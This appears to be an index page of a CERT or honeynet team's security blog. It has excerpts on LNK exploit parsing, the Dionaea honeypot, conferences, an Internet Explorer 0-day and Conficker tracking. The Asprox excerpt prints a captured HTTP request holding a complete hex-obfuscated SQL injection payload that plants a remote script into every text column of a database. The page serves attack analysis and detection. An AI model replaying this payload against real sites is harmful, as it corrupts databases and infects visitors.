CVE-2010-2568 will need to have a LNK file with a malicious dll to cause harm. Feeling the urgency of parsing the LNK file to trace any present dll, we modified a small portion of the code from metasploit’s project to make it run independently from the metasploit framework. The original code is here. The main […]
FIRST AGM and Annual Conference 2010
The annual FIRST conference provides a setting for conference participants to attend a wide range of presentations delivered by leading experts in both the CSIRT field and from the wider global security community. The conference also creates opportunities for networking, collaboration, and sharing technical information and management practices. Just as importantly, the conference enables attendees […]
Honeynet Project Annual workshop 2010
The Annual Honeynet Project workshop this year was held at Mexico City, Mexico. The workshop enables chapters from all over the globe to meet, discuss ideas, share experiences and develop our toolsets for data collection and analysis. It is an extremely valuable and unique event, where chapters from around 20 countries find the time to […]
DIONAEA:submission module
Mark Schloesser spoke about Dionea during his presentation at the FIRST-TC KL 2009, last December and that got us really excited. A few MyCERT folks had a chance to do a ‘class’ with him as well and got some exposure with the its internal. We are replacing some of the nepenthes instances with Dionaea . […]
Dionaea: Auto Start Script on Ubuntu
Getting Dionaea to run should be very straightforward for most people. One of the thing we need for our project is As for us, to get our Dionaea appliance running properly, one the feature we need is to get Dionaea service running when the OS is booting. Below is the script for it (shameless ripped […]
Mass SQL Injection And Asprox Bot
Asprox is one of the botnet that implements mass sql injection to inject malicious *.js script into MSSQL database server. Normally Asprox bot will search for any vulnerable (sql injection, of course) *.asp script to inject the malicious *.js script and iframe into database. Typical sql injection is similar to log below:
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GET /page.asp?id=425;d EcLaRe @s VArcHAr(4000);sET @s=cASt(0x4445636C615245204054205661 724348415228323535292C40632056417263 6841722832353529204465436C4152652074 41626C655F437572736F7220437552736F72 20664F522073454C45637420612E6E416D65 2C622E6E414D452066726F6D207359734F62 6A4563547320612C735973636F4C756D6E73 206220774845726520412E69643D622E4964 20614E4420612E78547970653D2755272061 4E642028622E78745950653D3939206F7220 422E78545970453D3335204F7220622E7874 5950453D323331206F5220622E5874595065 3D31363729206F50456E207441426C655F43 7572734F72204665544368206E4558742066 724F6D205441426C655F637572734F522069 4E744F2040542C4043205748494C45284040 46457443685F5354415475533D3029204245 47696E20657865432827757044417465205B 272B40542B275D20534574205B272B40432B 275D3D527452696D28434F6E564552542856 4152636841522834303030292C5B272B4043 2B275D29292B434173742830783343373336 333732363937303734323037333732363333 443638373437343730334132463246373737 373737324536323631364536453635373237 343245373237353246363136343733324536 413733334533433246373336333732363937 303734334520417320564152634841722835 3129292729204645546348204E4558542066 726F6D207441626C655F435572734F722049 4E744F2040542C404320456E6420434C6F73 45207461626C455F635572736F5220644541 6C4C4F63617465207441624C655F43757273 6F7220 AS vaRcHaR(4000));eXeC (@s);-- HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Accept-Language: en-gb Accept-Encoding: deflate User-Agent: Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20090728 Firefox/1.5.0 Opera 9.25 Host: www.xxxx.com Connection: Close |
It’s a […]
Microsoft DirectShow msvidctl.dll 0day
Another 0-day was released in-the-wild targeting Microsoft Internet Explorer. The bug is inside msvidctl.dll when working with media file (*.gif have been used in the wild exploitation). Below is the in-the-wild exploit analyzed by us (we modified the shellcode to %uxcccc). Figure 1.0 showed the exception handler is executed and will pointing to our jump […]
Conficker.C and DNS
We have been working to track conficker’s dns queries in order to identify infected machines/network with conficker.c. Tracking a 50K DNS names and 500++ queries from each conficker is a bit troublesome when u have to record all the DNS queries (200M records/day) and compare it with 50K/day conficker.c domain names.:). The main idea of […]
Conficker: The other not so famous Variant A
There are lot more discussions are going on for Conficker variant C (ConfickerC) due to 1st April. Why 1st april?. The 1st april is the day ConfickerC should call home for updates. The domain name generator algorithm used by ConfickerC is making blocking or detecting live ConfickerC update servers is becoming harder when it will […]